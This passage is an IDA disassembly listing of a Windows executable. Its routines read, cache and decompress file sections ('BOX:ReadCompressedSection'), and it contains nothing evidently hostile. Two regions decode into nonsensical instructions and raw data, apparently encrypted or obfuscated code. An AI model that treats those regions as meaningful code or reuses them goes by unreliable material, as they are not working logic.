		retn	8
; END OF FUNCTION CHUNK	FOR sub_491672

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491741	proc near		; CODE XREF: sub_48D3F3+58p
					; sub_49012B+22p ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F388
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jnz	short loc_491772
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_4], eax

loc_491772:				; CODE XREF: sub_491741+29j
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_491793
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_491797
; ---------------------------------------------------------------------------

loc_491793:				; CODE XREF: sub_491741+3Dj
		and	[ebp+var_2C], 0

loc_491797:				; CODE XREF: sub_491741+50j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_491845
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_491809
		mov	eax, [ebp+var_20]
		push	dword ptr [eax+8]
		call	ds:dword_4A26A4	; CloseHandle
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C8E0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_491847
; ---------------------------------------------------------------------------

loc_491809:				; CODE XREF: sub_491741+7Bj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_490818
		push	0FFFFFFFFh
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_491847
; ---------------------------------------------------------------------------

loc_491829:				; DATA XREF: _5:0049F390o
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short locret_491844
		mov	eax, [ebp+var_30]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_491844:				; CODE XREF: sub_491741+F4j
		retn
; ---------------------------------------------------------------------------

loc_491845:				; CODE XREF: sub_491741+5Cj
		xor	eax, eax

loc_491847:				; CODE XREF: sub_491741+C6j
					; sub_491741+E6j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_491741	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491858	proc near		; CODE XREF: sub_49B710+12p

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0049193D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F398
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_8], 0
		jnz	short loc_491889
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_8], eax

loc_491889:				; CODE XREF: sub_491858+29j
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4918AA
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_4918AE
; ---------------------------------------------------------------------------

loc_4918AA:				; CODE XREF: sub_491858+3Dj
		and	[ebp+var_28], 0

loc_4918AE:				; CODE XREF: sub_491858+50j
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	loc_49193D
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_491916
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26FC	; GetFileInformationByHandle
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx+24h], eax
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_49193F
; ---------------------------------------------------------------------------

loc_491916:				; CODE XREF: sub_491858+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_491921
		jmp	short loc_49193D
sub_491858	endp


; =============== S U B	R O U T	I N E =======================================



sub_491921	proc near		; CODE XREF: sub_491858+C2p
					; DATA XREF: _5:0049F3A0o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_49193C
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_49193C:				; CODE XREF: sub_491921+Cj
		retn
sub_491921	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491858

loc_49193D:				; CODE XREF: sub_491858+5Cj
					; sub_491858+C7j
		xor	eax, eax

loc_49193F:				; CODE XREF: sub_491858+BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_491858

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491950	proc near		; CODE XREF: sub_49B741+Bp
					; sub_49B77D+Bp

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004919FD SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3A8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_491996
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_49199A
; ---------------------------------------------------------------------------

loc_491996:				; CODE XREF: sub_491950+31j
		and	[ebp+var_24], 0

loc_49199A:				; CODE XREF: sub_491950+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_4919FD
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4919D6
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4919FF
; ---------------------------------------------------------------------------

loc_4919D6:				; CODE XREF: sub_491950+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4919E1
		jmp	short loc_4919FD
sub_491950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4919E1	proc near		; CODE XREF: sub_491950+8Ap
					; DATA XREF: _5:0049F3B0o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_4919FC
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_4919FC:				; CODE XREF: sub_4919E1+Cj
		retn
sub_4919E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491950

loc_4919FD:				; CODE XREF: sub_491950+50j
					; sub_491950+8Fj
		xor	eax, eax

loc_4919FF:				; CODE XREF: sub_491950+84j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_491950
; ---------------------------------------------------------------------------

loc_491A10:				; CODE XREF: sub_491C5C+2F1p
					; sub_492177+1CFp
		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+0Ch]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp+10h]
		mov	[ebp-10h], eax
		mov	eax, ds:dword_4A28F8
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	loc_491AD8
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jnz	short loc_491AD8
		mov	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		sub	ecx, [eax+4]
		mov	[ebp-14h], ecx
		mov	eax, [ebp-14h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_491A93
		mov	eax, [ebp+0Ch]
		sub	eax, [ebp-18h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-10h]
		add	eax, [ebp-18h]
		mov	[ebp-10h], eax
		mov	eax, [ebp-4]
		add	eax, [ebp-18h]
		mov	[ebp-4], eax

loc_491A93:				; CODE XREF: _4:00491A76j
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		test	edx, edx
		jz	short loc_491AB8
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		push	8
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp-10h]
		add	ecx, eax
		mov	[ebp-10h], ecx

loc_491AB8:				; CODE XREF: _4:00491A9Fj
		mov	eax, [ebp+8]
		mov	ecx, [ebp-10h]
		add	ecx, [eax+4]
		mov	eax, [ebp-8]
		cmp	ecx, [eax+8]
		jbe	short loc_491AD8
		mov	eax, [ebp-8]
		mov	ecx, [ebp+8]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp-10h], eax

loc_491AD8:				; CODE XREF: _4:00491A46j _4:00491A57j ...
		push	0
		push	0
		push	dword ptr [ebp-0Ch]
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_4A2788	; SetFilePointer
		cmp	eax, [ebp-0Ch]
		jz	short loc_491AF7
		xor	eax, eax
		jmp	loc_491C55
; ---------------------------------------------------------------------------

loc_491AF7:				; CODE XREF: _4:00491AEEj
		push	0
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp-10h]
		push	ds:dword_4A28F8
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jnz	short loc_491B1C
		xor	eax, eax
		jmp	loc_491C55
; ---------------------------------------------------------------------------

loc_491B1C:				; CODE XREF: _4:00491B13j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp-10h]
		jz	short loc_491B2D
		xor	eax, eax
		jmp	loc_491C55
; ---------------------------------------------------------------------------

loc_491B2D:				; CODE XREF: _4:00491B24j
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	loc_491C3C
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 10h
		jnz	short loc_491BA9
		push	offset dword_460000
		call	sub_48EB7E	; CODE XREF: _4:00491B5Bj
		sub	eax, 7424E45Ah
		db	3Eh
		jle	short near ptr loc_491B51+3
		cmpsb
		push	edi
		fisttp	dword ptr [edx+esi*4+61h]
		clc
		lds	ebp, [ecx-26h]
		db	2Eh		; CODE XREF: _4:loc_491B99j
		icebp
		and	eax, 7EFC9E45h
		dec	edi
		jmp	short loc_491B99
; ---------------------------------------------------------------------------
		dw 4521h
		dd 42A5F15Eh, 0DB92843Dh, 0E0C5324Fh, 4CE284DAh, 0C220AB13h
		dd 6D611E6Fh, 0A31D6C36h, 90A16E44h, 0E2FDF0E3h
; ---------------------------------------------------------------------------
		cmc

loc_491B99:				; CODE XREF: _4:00491B70j
		jmp	short near ptr loc_491B68+1
; ---------------------------------------------------------------------------
		db 0C1h
		db 2 dup(90h)
		dw 0C033h
		dd 0EE75C085h, 93E9h
		db 0
; ---------------------------------------------------------------------------

loc_491BA9:				; CODE XREF: _4:00491B4Aj
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	short loc_491C32
		push	120000h
		call	sub_48EB7E
		mov	esp, 0E59375A9h
		lodsd
		punpckhwd mm7, mm4
		mov	bl, 0AEh
		xchg	eax, edx
		enter	493Dh, 20h
		add	esi, esi
		xchg	dh, [ebx-683002FDh]
		adc	[edi-1041F021h], ebx
		mov	dl, 34h
; ---------------------------------------------------------------------------
		db 8Ch,	0F5h, 65h
		dd 975D2033h, 0B1BE20AAh, 97A380A4h, 9FC19C8Fh,	2DDFCC3h
		dd 0E1EECB75h, 9276A8BBh, 680CACDAh, 31B9E518h,	0ED0915C7h
		dd 0DA20F7ABh, 0DB497607h, 758264EEh, 9E554C68h, 0DE8DD8CBh
		dd 0CE190CFFh, 0A5B28F65h, 0C0339090h, 0EE75C085h
; ---------------------------------------------------------------------------
		jmp	short loc_491C3C
; ---------------------------------------------------------------------------

loc_491C32:				; CODE XREF: _4:00491BB5j
		mov	ecx, 0EF000014h
		call	sub_499342

loc_491C3C:				; CODE XREF: _4:00491B38j _4:00491C30j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp+10h]
		jnb	short loc_491C4A
		xor	eax, eax
		jmp	short loc_491C55
; ---------------------------------------------------------------------------

loc_491C4A:				; CODE XREF: _4:00491C44j
		mov	eax, [ebp+14h]
		mov	ecx, [ebp+10h]
		mov	[eax], ecx
		mov	eax, [ebp-4]

loc_491C55:				; CODE XREF: _4:00491AF2j _4:00491B17j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491C5C	proc near		; CODE XREF: sub_49200B+30p
					; sub_49200B+EBp

var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00491EAD SIZE 0000015E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3B8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_4A2908
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		and	[ebp+var_40], 0
		jmp	short loc_491CB0
; ---------------------------------------------------------------------------

loc_491CA9:				; CODE XREF: sub_491C5C:loc_491CEDj
		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_40], eax

loc_491CB0:				; CODE XREF: sub_491C5C+4Bj
		cmp	[ebp+var_40], 3
		jnb	short loc_491CEF
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_4A1B7C[eax]
		cmp	eax, [ecx]
		jnz	short loc_491CED
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:dword_4A1B78[eax]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_491CED
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:off_4A1B80[eax]
		mov	eax, [eax]
		jmp	loc_491FFA
; ---------------------------------------------------------------------------

loc_491CED:				; CODE XREF: sub_491C5C+6Bj
					; sub_491C5C+7Cj
		jmp	short loc_491CA9
; ---------------------------------------------------------------------------

loc_491CEF:				; CODE XREF: sub_491C5C+58j
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_4A272C	; GetSystemTimeAsFileTime
		and	[ebp+var_4C], 0
		jmp	short loc_491D06
; ---------------------------------------------------------------------------

loc_491CFF:				; CODE XREF: sub_491C5C:loc_491D4Dj
		mov	eax, [ebp+var_4C]
		inc	eax
		mov	[ebp+var_4C], eax

loc_491D06:				; CODE XREF: sub_491C5C+A1j
		cmp	[ebp+var_4C], 3
		jnb	short loc_491D4F
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_4A1B70
		mov	[ebp+var_74], eax
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_44]
		cmp	ecx, [eax+4]
		jl	short loc_491D4D
		jg	short loc_491D31
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_48]
		cmp	ecx, [eax]
		jbe	short loc_491D4D

loc_491D31:				; CODE XREF: sub_491C5C+C9j
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_4A1B70
		mov	ecx, [eax]
		mov	[ebp+var_48], ecx
		mov	eax, [eax+4]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_28], eax

loc_491D4D:				; CODE XREF: sub_491C5C+C7j
					; sub_491C5C+D3j
		jmp	short loc_491CFF
; ---------------------------------------------------------------------------

loc_491D4F:				; CODE XREF: sub_491C5C+AEj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_4A1B78[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_4A1B7C[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_4A1B70
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	eax, ds:off_4A1B80[eax]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		cmp	dword ptr [ecx+eax+8], 0
		jnz	loc_491EAD
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_54], eax
		and	[ebp+var_50], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_50], eax
		and	[ebp+var_58], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		mov	ecx, [ebp+var_34]
		mov	ecx, [ecx+4]
		sub	ecx, eax
		mov	[ebp+var_5C], ecx
		push	0
		push	0
		push	[ebp+var_5C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4A2788	; SetFilePointer
		cmp	eax, [ebp+var_5C]
		jz	short loc_491E1B
		push	0FFFFFFFFh
		and	[ebp+var_78], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_78]
		jmp	loc_491FFA
; ---------------------------------------------------------------------------

loc_491E1B:				; CODE XREF: sub_491C5C+1A4j
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		push	[ebp+var_50]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jnz	short loc_491E54
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_491FFA
; ---------------------------------------------------------------------------

loc_491E54:				; CODE XREF: sub_491C5C+1DDj
		mov	eax, [ebp+var_54]
		shl	eax, 2
		cmp	[ebp+var_58], eax
		jz	short loc_491E78
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_491FFA
; ---------------------------------------------------------------------------

loc_491E78:				; CODE XREF: sub_491C5C+201j
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_50]
		mov	[ecx+eax+8], edx
		and	[ebp+var_50], 0
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_491E9D
		jmp	short loc_491EAD
sub_491C5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_491E9D	proc near		; CODE XREF: sub_491C5C+23Ap
					; DATA XREF: _5:0049F3C0o
		mov	eax, [ebp-50h]
		mov	[ebp-70h], eax
		push	dword ptr [ebp-70h]
		call	sub_4993DD
		pop	ecx
		retn
sub_491E9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491C5C

loc_491EAD:				; CODE XREF: sub_491C5C+144j
					; sub_491C5C+23Fj
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_30], eax
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		cmp	[ebp+arg_4], 0
		jz	short loc_491F2D
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_60], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_60]
		jb	short loc_491F00
		push	ds:off_49F4F8
		push	93h
		push	ds:off_49F4FC
		call	sub_49948C

loc_491F00:				; CODE XREF: sub_491C5C+28Cj
		and	[ebp+var_64], 0
		jmp	short loc_491F0D
; ---------------------------------------------------------------------------

loc_491F06:				; CODE XREF: sub_491C5C+2CFj
		mov	eax, [ebp+var_64]
		inc	eax
		mov	[ebp+var_64], eax

loc_491F0D:				; CODE XREF: sub_491C5C+2A8j
		mov	eax, [ebp+var_64]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_491F2D
		mov	eax, [ebp+var_64]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		mov	ecx, [ebp+var_20]
		add	ecx, eax
		mov	[ebp+var_20], ecx
		jmp	short loc_491F06
; ---------------------------------------------------------------------------

loc_491F2D:				; CODE XREF: sub_491C5C+273j
					; sub_491C5C+2B7j
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		push	eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		add	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	loc_491A10
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	short loc_491F62
		xor	eax, eax
		jmp	loc_491FFA
; ---------------------------------------------------------------------------

loc_491F62:				; CODE XREF: sub_491C5C+2FDj
		mov	[ebp+var_2C], 10000h
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 80000000h
		test	eax, eax
		jnz	short loc_491FAE
		push	[ebp+var_1C]
		push	[ebp+var_38]
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_3C]
		call	sub_49E9F3
		add	esp, 10h
		mov	[ebp+var_68], eax
		cmp	[ebp+var_68], 0
		jz	short loc_491FAC
		push	[ebp+var_68]
		push	offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"...
		call	sub_499726
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_491FFA
; ---------------------------------------------------------------------------

loc_491FAC:				; CODE XREF: sub_491C5C+33Bj
		jmp	short loc_491FC5
; ---------------------------------------------------------------------------

loc_491FAE:				; CODE XREF: sub_491C5C+31Dj
		mov	ecx, [ebp+var_1C]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+var_3C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb

loc_491FC5:				; CODE XREF: sub_491C5C:loc_491FACj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4A1B78[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		mov	ds:dword_4A1B7C[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_4A1B70
		push	eax
		call	ds:dword_4A272C	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_3C]

loc_491FFA:				; CODE XREF: sub_491C5C+8Cj
					; sub_491C5C+1BAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_491C5C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49200B	proc near		; CODE XREF: sub_492177+16Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		shr	eax, 10h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		shr	eax, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_491C5C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_492050
		xor	eax, eax
		jmp	loc_492171
; ---------------------------------------------------------------------------

loc_492050:				; CODE XREF: sub_49200B+3Cj
		mov	eax, [ebp+var_14]
		xor	edx, edx
		mov	ecx, 10000h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		cmp	[ebp+arg_8], eax
		jnb	short loc_492074
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		jmp	short loc_49207F
; ---------------------------------------------------------------------------

loc_492074:				; CODE XREF: sub_49200B+5Fj
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_18], eax

loc_49207F:				; CODE XREF: sub_49200B+67j
		mov	ecx, [ebp+var_18]
		mov	esi, [ebp+var_C]
		add	esi, [ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
